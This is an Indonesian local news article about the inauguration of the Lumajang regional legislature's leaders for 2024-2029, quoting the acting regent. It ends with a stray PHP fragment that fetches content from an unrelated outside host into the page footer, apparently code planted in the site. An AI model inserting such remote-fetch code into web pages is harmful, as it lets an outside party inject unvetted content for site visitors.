Pimpinan DPRD Lumajang Resmi Dilantik, Begini Tanggapan Pj. Bupati

Selasa, 1 Oktober 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

LUMAJANG – jejakkasus.info. Pimpinan DPRD terlantik Kabupaten Lumajang masa jabatan 2024-2029, diharapkan dapat meningkatkan efektivitas pelaksanaan tugas-tugas kelembagaan legislatif sebagai mitra pemerintah dan unsur pemerintah daerah.

“Semoga dalam periode DPRD Lumajang 2024-2029, saudara dapat melaksanakan tugas dan amanah yang diemban dengan sebaik-baiknya, serta semakin meningkatkan efektivitas pelaksanaan tugas-tugas kelembagaan legislatif sebagai mitra pemerintah daerah dan unsur pemerintah daerah,” kata Penjabat (Pj) Bupati Lumajang, Indah Wahyuni (Yuyun) dalam keterangannya, pada Rapat Paripurna di Gedung DPRD, Senin (30/9/2024).

Penyelenggaraan pelantikan dan pengambilan sumpah jabatan dalam Rapat Paripurna ini, dilaksanakan sesuai dengan Surat Keputusan (SK) Gubernur Jawa Timur nomor 100.3.3.1/933/KPTS/011.2/2024 Tentang Peresmian Pengangkatan Dewan Perwakilan Rakyat Daerah Kabupaten Lumajang Masa Jabatan 2024-2029.

Baca Juga:  Truk Tambang Galian Manual Dusun Payak Santren, Desa Rejoagung, Kecamatan Ngoro,  Jombang tidak memerhatikan Amdal.

Dalam SK Gubernur Jawa Timur tersebut, pimpinan DPRD Lumajang masa jabatan 2024-2029, diputuskan bahwa Oktafiyani dari fraksi Partai Gerakan Indonesia Raya (Gerindra) sebagai ketua, Eko Adis Prayoga dari fraksi Partai Kebangkitan Bangsa (PKB) sebagai wakil ketua, kemudian Sudi dari fraksi Partai Persatuan Pembangunan (PPP) sebagai wakil ketua.

Yuyun menjelaskan, Undang-undang dasar 1945 mengatur bahwa pemerintah daerah provinsi, dan kabupaten/kota memiliki DPRD yang anggotanya dipilih dari partai politik melalui Pemilihan Umum (Pemilu).

Baca Juga:  Kapolres Pelabuhan Belawan Terima Kunjungan Pimpinan Media Online

Menurutnya, berkenaan dengan hal tersebut, terdapat dua hal yang harus dicermati dan disadari oleh pimpinan dan anggota DPRD, pertama secara konseptual maupun legal formal kedudukan DPRD merupakan bagian yang integral dari pemerintah daerah.

“Dalam Undang-undang No 23 Tahun 2014 Tentang Pemerintah Daerah, DPRD diletakkan sebagai unsur penyelenggara pemerintah daerah yang bermitra sejajar dengan kepala daerah,” jelasnya,

Kemudian, kedua setiap anggota DPRD dipilih dalam Pemilu yang pencalonannya melalui partai politik.

Baca Juga:  Ganjar Pranowo Beri Bantuan RTLH Saat Kunjungi Warga Grobokan

“Namun demikian, poin yang perlu disampaikan adalah sebesar apapun kepentingan partai politik hendaknya bisa menempatkan kepentingan publik secara luas diatasnya,” imbuhnya.

Yuyun berharap, pemerintah dan DPRD dapat terus menjalin kerjasama dengan baik untuk pembangunan Kabupaten Lumajang.

“Kami berharap Kemitraan yang sudah tercipta sedimikian baik antara pemerintah daerah dan DPRD ini dapat terus terjaga, terbina dan bahkan lebih ditingkatkan lagi di masa yang akan datang,” pungkasnya.

( Rep – RH )

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>